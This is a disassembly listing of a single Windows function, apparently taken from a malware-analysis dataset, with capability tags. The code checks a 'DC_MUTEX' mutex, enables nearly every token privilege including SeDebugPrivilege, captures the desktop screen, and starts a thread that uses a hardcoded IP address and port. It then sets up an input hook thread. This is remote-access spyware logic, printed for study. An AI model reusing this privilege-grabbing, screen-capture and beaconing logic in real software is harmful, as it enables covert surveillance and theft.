Function at 0x4011c0
Capabilities:
Acquire debug privileges
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xd8
mov eax, dword [0x438008]
xor eax, esp
mov dword [esp + 0xd4], eax
push esi
push edi
push str.DC_MUTEX_4WTL4ZR
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401205
test esi, esi
je 0x401205
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x6a27
push 0x434c0c
push 2
call fcn.00406f10
add esp, 0xc
mov dword [esp + 0x98], 0
lea eax, [esp + 0x98]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4013b6
mov edi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
xor esi, esi
mov dword [esp + 0x18], str.SeCreateTokenPrivilege
mov eax, str.SeCreateTokenPrivilege
mov dword [esp + 0x1c], str.SeAssignPrimaryTokenPrivilege
mov dword [esp + 0x20], str.SeLockMemoryPrivilege
mov dword [esp + 0x24], str.SeIncreaseQuotaPrivilege
mov dword [esp + 0x28], str.SeUnsolicitedInputPrivilege
mov dword [esp + 0x2c], str.SeMachineAccountPrivilege
mov dword [esp + 0x30], str.SeTcbPrivilege
mov dword [esp + 0x34], str.SeSecurityPrivilege
mov dword [esp + 0x38], str.SeTakeOwnershipPrivilege
mov dword [esp + 0x3c], str.SeLoadDriverPrivilege
mov dword [esp + 0x40], str.SeSystemProfilePrivilege
mov dword [esp + 0x44], str.SeSystemtimePrivilege
mov dword [esp + 0x48], str.SeProfileSingleProcessPrivilege
mov dword [esp + 0x4c], str.SeIncreaseBasePriorityPrivilege
mov dword [esp + 0x50], str.SeCreatePagefilePrivilege
mov dword [esp + 0x54], str.SeCreatePermanentPrivilege
mov dword [esp + 0x58], str.SeBackupPrivilege
mov dword [esp + 0x5c], str.SeRestorePrivilege
mov dword [esp + 0x60], str.SeShutdownPrivilege
mov dword [esp + 0x64], str.SeDebugPrivilege
mov dword [esp + 0x68], str.SeAuditPrivilege
mov dword [esp + 0x6c], str.SeSystemEnvironmentPrivilege
mov dword [esp + 0x70], str.SeChangeNotifyPrivilege
mov dword [esp + 0x74], str.SeRemoteShutdownPrivilege
mov dword [esp + 0x78], str.SeUndockPrivilege
mov dword [esp + 0x7c], str.SeSyncAgentPrivilege
mov dword [esp + 0x80], str.SeEnableDelegationPrivilege
mov dword [esp + 0x84], str.SeManageVolumePrivilege
mov dword [esp + 0x88], str.SeImpersonatePrivilege
mov dword [esp + 0x8c], str.SeCreateGlobalPrivilege
mov dword [esp + 0x90], 0
nop word [eax + eax]
lea ecx, [esp + 0xa4]
xorps xmm0, xmm0
push ecx
push eax
push 0
movaps xmmword [esp + 0xac], xmm0
call edi
push 0
push 0
push 0
lea eax, [esp + 0xac]
mov dword [esp + 0xac], 1
push eax
push 0
push dword [esp + 0xac]
mov dword [esp + 0xc4], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea esi, [esi + 1]
mov eax, dword [esp + esi*4 + 0x18]
test eax, eax
jne 0x401360
push 0x664f
push 0x434c0c
push 2
call fcn.00406f10
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
add esp, 0xc
xorps xmm0, xmm0
mov dword [esp + 0x98], 0
movups xmmword [esp + 0xb4], xmm0
push 0
movups xmmword [esp + 0xc8], xmm0
movq qword [esp + 0xd8], xmm0
call esi
mov edi, eax
push 1
mov dword [esp + 0x14], edi
call esi
mov dword [esp + 0xc], eax
xorps xmm0, xmm0
mov dword [esp + 0xb8], eax
imul eax, edi
movlpd qword [esp + 0xc4], xmm0
movlpd qword [esp + 0xcc], xmm0
movlpd qword [esp + 0xd4], xmm0
mov dword [esp + 0xb0], 0x28
add eax, eax
mov dword [esp + 0xb4], edi
mov dword [esp + 0xc4], eax
add eax, 0x36
mov dword [esp + 0xa2], eax
mov eax, 0x4d42
mov dword [esp + 0xbc], 0x100001
mov dword [esp + 0xc0], 0
mov dword [esp + 0xa6], 0
mov dword [esp + 0xaa], 0x36
mov word [esp + 0xa0], ax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [esp + 0xa0], eax
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
test edi, edi
je 0x4015ba
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, eax
test esi, esi
je 0x4015ac
push 0
push 0
lea eax, [esp + 0xa0]
push eax
push 0
lea eax, [esp + 0xc0]
push eax
push edi
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov dword [esp + 0x14], eax
test eax, eax
je 0x4015a5
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [esp + 0x1c]
push dword [esp + 0x24]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
je 0x40159b
push dword [esp + 0xa2]
call fcn.0040bf67
add esp, 4
test eax, eax
je 0x40159b
movq xmm0, qword [esp + 0xa0]
mov ecx, dword [esp + 0xa8]
movq qword [eax], xmm0
mov dword [eax + 8], ecx
mov cx, word [esp + 0xac]
mov word [eax + 0xc], cx
movups xmm0, xmmword [esp + 0xb0]
movups xmmword [eax + 0xe], xmm0
movups xmm0, xmmword [esp + 0xc0]
movups xmmword [eax + 0x1e], xmm0
movq xmm0, qword [esp + 0xd0]
movq qword [eax + 0x2e], xmm0
add eax, 0x36
push dword [esp + 0xc4]
push dword [esp + 0x9c]
push eax
call fcn.00409640
push 0x434c26
push 0x19895
push 2
call fcn.00407040
add esp, 0x18
push dword [esp + 0x14]
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
push edi
push dword [esp + 0xa0]
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0x4b7e
push 0x434c0c
push 2
call fcn.00406f10
push 8
mov dword [esp + 0xac], 0
call fcn.0040bf67
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 0xac]
add esp, 0x10
mov dword [eax + 4], 0x468d
mov dword [eax], str.202.135.114.244
push ecx
push 0
push eax
push 0x401690
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x401616
push eax
call esi
push 0x551c
push 0x434c0c
push 2
call fcn.00406f10
add esp, 0xc
call fcn.00402460
test al, al
je 0x401669
call fcn.00402870
push 0x43a250
push 0
push 0
push 0x404530
push 0
push 0
call edi
test eax, eax
jne 0x401666
push str.Cannot_create_a_new_hook_thread_n
push 0x19895
push 2
call fcn.00407040
add esp, 0xc
jmp 0x401669
push eax
call esi
push str.pause
call fcn.0040bf41
mov ecx, dword [esp + 0xe0]
add esp, 4
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.00407195
mov esp, ebp
pop ebp
ret